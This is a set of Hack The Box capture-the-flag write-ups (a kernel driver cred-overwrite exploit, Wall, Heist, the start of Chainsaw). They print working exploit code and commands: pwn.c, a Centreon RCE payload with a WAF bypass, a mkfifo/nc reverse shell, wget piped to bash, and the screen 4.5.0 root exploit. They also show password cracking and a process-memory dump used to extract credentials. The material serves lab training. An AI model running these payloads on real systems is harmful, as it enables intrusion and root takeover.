[*] Cred structure found! ptr: 0x77113144, crednum: 13
[*] Cred structure found! ptr: 0x77113504, crednum: 14
[*] Cred structure found! ptr: 0x77113c84, crednum: 15
[*] Cred structure found! ptr: 0x7714a484, crednum: 16
[*] Cred structure found! ptr: 0x7714a604, crednum: 17
[*] Cred structure found! ptr: 0x7714a6c4, crednum: 18
[*] Cred structure found! ptr: 0x7714a844, crednum: 19
[*] Cred structure found! ptr: 0x7714a9c4, crednum: 20
[*] Cred structure found! ptr: 0x7714aa84, crednum: 21
[*] Cred structure found! ptr: 0x7714ac04, crednum: 22
[*] Cred structure found! ptr: 0x7714ad84, crednum: 23
[*] Process cred structure found ptr: 0x7714ad84, crednum: 23

[email protected]:/dev/shm$

Great! now what’s left to do is to overwrite the capabilities in our cred structure with 0xffffffffffffffff and execute /bin/sh:

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credIt += 1; 
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;

execl("/bin/sh","-", (char *)NULL);

pwn.c:

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#include <stdio.h>                                                         
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

int main(int argc, char * const * argv){

printf("\033[93m[+] PID: %d\n", getpid());
int fd = open("/dev/dhid", O_RDWR);

if (fd < 0){
printf("\033[93m[!] Open failed!\n");
return -1;
}

printf("\033[32m[*] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);

if (addr == MAP_FAILED){
perror("\033[93m[!] Failed to mmap !");
close(fd);
return -1;
}

printf("\033[32m[*] mmap OK address: %lx\n", addr);

unsigned int uid = getuid();

puts("\033[93m[+] Searching for the process cred structure ...");

unsigned int credIt = 0;
unsigned int credNum = 0;

while (((unsigned long)addr) < (mmapStart + size - 0x40)){
credIt = 0;
if(
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
){
credNum++;

credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;

if (getuid() == 0){

printf("\033[32m[*] Cred structure found ! ptr: %p, crednum: %d\n", addr, credNum);
puts("\033[32m[*] Got Root");
puts("\033[32m[+] Spawning a shell");

credIt += 1;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;
addr[credIt++] = 0xffffffff;

execl("/bin/sh","-", (char *)NULL);
puts("\033[93m[!] Execl failed...");

break;
}
else{

credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}
addr++;
}

return 0;
}

And finally:

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[email protected]:/dev/shm$ ./pwn 
[+] PID: 1153
[*] Open OK fd: 3
[*] mmap OK address: 42424000
[+] Searching for the process cred structure ...
[*] Cred structure found ! ptr: 0xb60ad084, crednum: 20
[*] Got Root
[+] Spawning a shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy)
#


We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Wall
Next Hack The Box write-up : Hack The Box - Craft

Hack The Box - Wall

7 December 2019 at 03:00

Hack The Box - Wall

Quick Summary

Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds
[email protected]:~/Desktop/HTB/boxes/wall#

We got http on port 80 and ssh on port 22. Let’s check the web service.

Web Enumeration

The index page was just the default apache page:

So I ran gobuster and got these results:

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[email protected]:~/Desktop/HTB/boxes/wall# gobuster dir -u http://wall.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://wall.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/06 14:08:02 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/monitoring (Status: 401)
/server-status (Status: 403)

The only interesting thing was /monitoring, however that path was protected by basic http authentication:

I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:

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[email protected]:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

[email protected]:~/Desktop/HTB/boxes/wall#

The response was a redirection to /centreon:

Centreon is a network, system, applicative supervision and monitoring tool. -github

Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API.
According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403.
I used wfuzz with darkweb2017-top10000.txt from seclists:

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[email protected]:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000005: 403 0 L 2 W 17 Ch "qwerty"
000000006: 403 0 L 2 W 17 Ch "abc123"
000000008: 200 0 L 1 W 60 Ch "password1"
000000004: 403 0 L 2 W 17 Ch "password"
000000007: 403 0 L 2 W 17 Ch "12345678"
000000009: 403 0 L 2 W 17 Ch "1234567"
000000010: 403 0 L 2 W 17 Ch "123123"
000000001: 403 0 L 2 W 17 Ch "123456"
000000002: 403 0 L 2 W 17 Ch "123456789"
000000003: 403 0 L 2 W 17 Ch "111111"
000000011: 403 0 L 2 W 17 Ch "1234567890"
000000012: 403 0 L 2 W 17 Ch "000000"
000000013: 403 0 L 2 W 17 Ch "12345"
000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t"
^C
Finishing pending requests...
[email protected]:~/Desktop/HTB/boxes/wall#

password1 resulted in a 200 response so its the right password:

RCE | WAF Bypass –> Shell as www-data

I checked the version of centreon and it was 19.04:

It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:

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[email protected]:~/Desktop/HTB/boxes/wall# searchsploit centreon
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
----------
Redacted
----------
Centreon 19.04 - Remote Code Execution | exploits/php/webapps/47069.py
----------
Redacted
----------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
[email protected]:~/Desktop/HTB/boxes/wall#

But when I tried to run the exploit I didn’t get a shell:

So I started looking at the exploit code and tried to do it manually.
The vulnerability is in the poller configuration page (/main.get.php?p=60901) :

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poller_configuration_page = url + "/main.get.php?p=60901"

The script attempts to configure a poller and this is the payload that’s sent in the POST request:

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payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,


}

nagios_bin is the vulnerable parameter:

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# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),

I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:

When I tried to save the configuration I got a 403:

That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash.
a:

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rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

modified parameter:

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"nagios_bin": "wget${IFS}-qO-${IFS}http://10.10.xx.xx/a${IFS}|${IFS}bash;"
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[email protected]:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337
[+] Retrieving CSRF token to submit the login form
exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.

The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

soup = BeautifulSoup(html_content)
[+] Login token is : ba28f431a995b4461731fb394eb01d79
[+] Logged In Sucssfully
[+] Retrieving Poller token
exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.

The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : d5702ae3de1264b0692afcef86074f07
[+] Injecting Done, triggering the payload
[+] Check your netcat listener !
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[email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/usr/local/centreon/www$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/wall# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337

[email protected]:/usr/local/centreon/www$ export TERM=screen
[email protected]:/usr/local/centreon/www$

Screen 4.5.0 –> Root Shell –> User & Root Flags

There were two users on the box, shelby and sysmonitor. I couldn’t read the user flag as www-data:

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[email protected]:/usr/local/centreon/www$ cd /home
[email protected]:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jul 4 00:38 .
drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..
drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 shelby
drwxr-xr-x 5 sysmonitor sysmonitor 4096 Jul 6 15:07 sysmonitor
[email protected]:/home$ cd shelby
[email protected]:/home/shelby$ cat user.txt
cat: user.txt: Permission denied
[email protected]:/home/shelby$

I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit.
The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box:
libhax.c:

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#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

rootshell.c:

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#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
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[email protected]:~/Desktop/HTB/boxes/wall/privesc# nano libhax.c
[email protected]:~/Desktop/HTB/boxes/wall/privesc# nano rootshell.c
[email protected]:~/Desktop/HTB/boxes/wall/privesc# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
[email protected]:~/Desktop/HTB/boxes/wall/privesc# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
[email protected]:~/Desktop/HTB/boxes/wall/privesc#

Then I uploaded them to the box and did the rest of the exploit:

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[email protected]:/home/shelby$ cd /tmp/
[email protected]:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-07 00:23:12-- http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'

libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s

2019-12-07 00:23:14 (11.7 KB/s) - 'libhax.so' saved [16144/16144]

[email protected]:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-07 00:23:20-- http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'

rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s

2019-12-07 00:23:22 (16.3 KB/s) - 'rootshell' saved [16832/16832]

[email protected]:/tmp$
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[email protected]:/tmp$ cd /etc
[email protected]:/etc$ umask 000
[email protected]:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
[email protected]:/etc$ /bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

[email protected]:/etc$ /tmp/rootshell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
#


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Heist
Next Hack The Box write-up : Hack The Box - Smasher2

Hack The Box - Heist

30 November 2019 at 03:00

Hack The Box - Heist

Quick Summary

Hey guys, today Heist retired and here’s my write-up about it. It’s an easy Windows machine and its ip is 10.10.10.149, I added it to /etc/hosts as heist.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/heist# nmap -sV -sT -sC -o nmapinitial heist.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:01 EST
Nmap scan report for heist.htb (10.10.10.149)
Host is up (0.16s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-11-29T15:02:39
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.49 seconds
[email protected]:~/Desktop/HTB/boxes/heist#

We got smb and http on port 80, I also ran another scan on port 5895 to see if winrm is running and it was:

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[email protected]:~/Desktop/HTB/boxes/heist# nmap -sV -sT -p 5985 heist.htb                           Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:05 EST                               Nmap scan report for heist.htb (10.10.10.149)                                                 Host is up (0.42s latency).                                                                   PORT     STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds
[email protected]:~/Desktop/HTB/boxes/heist#

Anonymous authentication wasn’t allowed on smb:

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[email protected]:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U ""
Enter WORKGROUP\'s password:
session setup failed: NT_STATUS_LOGON_FAILURE
[email protected]:~/Desktop/HTB/boxes/heist#

So let’s check the web service.

Web Enumeration

The index page had a login form, however there was a guest login option:

After getting in as guest I got this issues page:

A user called hazard posted an issue that he’s having some problems with his Cisco router and he attached the configuration file with the issue.
The configuration file had some password hashes and usernames:

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version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0 mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh

For the type 7 passwords I used this online tool to crack them:


And for the other hash I cracked it with john:

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[email protected]:~/Desktop/HTB/boxes/heist# cat hash.txt 
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
[email protected]:~/Desktop/HTB/boxes/heist# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:01:09 DONE (2019-11-29 12:17) 0.01440g/s 50492p/s 50492c/s 50492C/s stealth323..stealth1967
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[email protected]:~/Desktop/HTB/boxes/heist#

Enumerating Users –> Shell as Chase –> User Flag

So far we have hazard and rout3r as potential usernames and stealth1agent, [email protected], Q4)sJu\Y8qz*A3?d as potential passwords.
I tried different combinations and I could authenticate to smb as hazard : stealth1agent, however there weren’t any useful shares:

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[email protected]:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U 'hazard'
Enter WORKGROUP\hazard's password:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
[email protected]:~/Desktop/HTB/boxes/heist#

I used lookupsid.py from impacket to enumerate the other users:

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[email protected]:~/Desktop/HTB/boxes/heist# /opt/impacket/examples/lookupsid.py hazard:[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at heist.htb
[*] StringBinding ncacn_np:heist.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
[email protected]:~/Desktop/HTB/boxes/heist#

Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:

Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag

After enumerating the box for a while I noticed that Firefox was installed on the box which is unusual:

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*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> ls

Directory: C:\Users\Chase\appdata\Roaming
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/22/2019 7:14 AM Adobe d---s- 4/22/2019 7:14 AM Microsoft d----- 4/22/2019 8:01 AM Mozilla *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> cd Mozilla
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ls

Directory: C:\Users\Chase\appdata\Roaming\Mozilla

Mode LastWriteTime Length Name
---- ------------- ------ ----

d----- 4/22/2019 8:01 AM Extensions
d----- 4/22/2019 8:01 AM Firefox
d----- 4/22/2019 8:01 AM SystemExtensionsDev
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>

And there were some Firefox processes running:

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*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
----------
REDACTED
----------
358 26 16304 279888 0.77 1408 1 firefox
343 19 9876 264068 0.88 4980 1 firefox
408 31 17344 60988 1.92 5096 1 firefox
390 30 26184 58192 9.94 6556 1 firefox
1232 68 110456 183140 22.83 7076 1 firefox
----------
REDACTED
----------
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>

I uploaded procdump.exe and dumped one of these processes:

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*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> cd C:\Windows\System32\spool\drivers\color
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload procdump64.exe
Info: Uploading procdump64.exe to C:\windows\system32\spool\drivers\color\procdump64.exe

Data: 455560 bytes of 455560 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> .\procdump64.exe -accepteula -ma 4980

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[21:15:31] Dump 1 initiated: C:\Windows\System32\spool\drivers\color\firefox.exe_191129_211531.dmp
[21:15:32] Dump 1 writing: Estimated dump file size is 265 MB.
[21:15:35] Dump 1 complete: 265 MB written in 3.6 seconds
[21:15:35] Dump count reached.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>

Then I uploaded strings.exe and used it on the dump and saved the output to another file:

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*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload strings64.exe
Info: Uploading strings64.exe to C:\windows\system32\spool\drivers\color\strings64.exe

Data: 218676 bytes of 218676 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"
cmd.exe :
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Strings v2.53 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color>

I searched for the word “password” and found Administrator’s credentials exposed in some GET requests:

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*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> findstr "password" ./firefox.exe_191129_211531.txt
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
browser.safebrowsing.passwords.enabled
services.sync.engine.passwords.validation.percentageChance
security.ask_for_password
----------
REDACTED
----------


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Chainsaw
Next Hack The Box write-up : Hack The Box - Wall

Hack The Box - Chainsaw

23 November 2019 at 03:00

Hack The Box - Chainsaw

Quick Summary

Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142, I added it to /etc/hosts as chainsaw.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.2s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
| -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
|_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.xx.xx
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
| 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds
[email protected]:~/Desktop/HTB/boxes/chainsaw#

We got ssh on port 22 and ftp on port 21.

FTP

Anonymous authentication was allowed on the ftp server, so let’s check what’s in there:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb 
Connected to chainsaw.htb.
220 (vsFTPd 3.0.3)
Name (chainsaw.htb:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
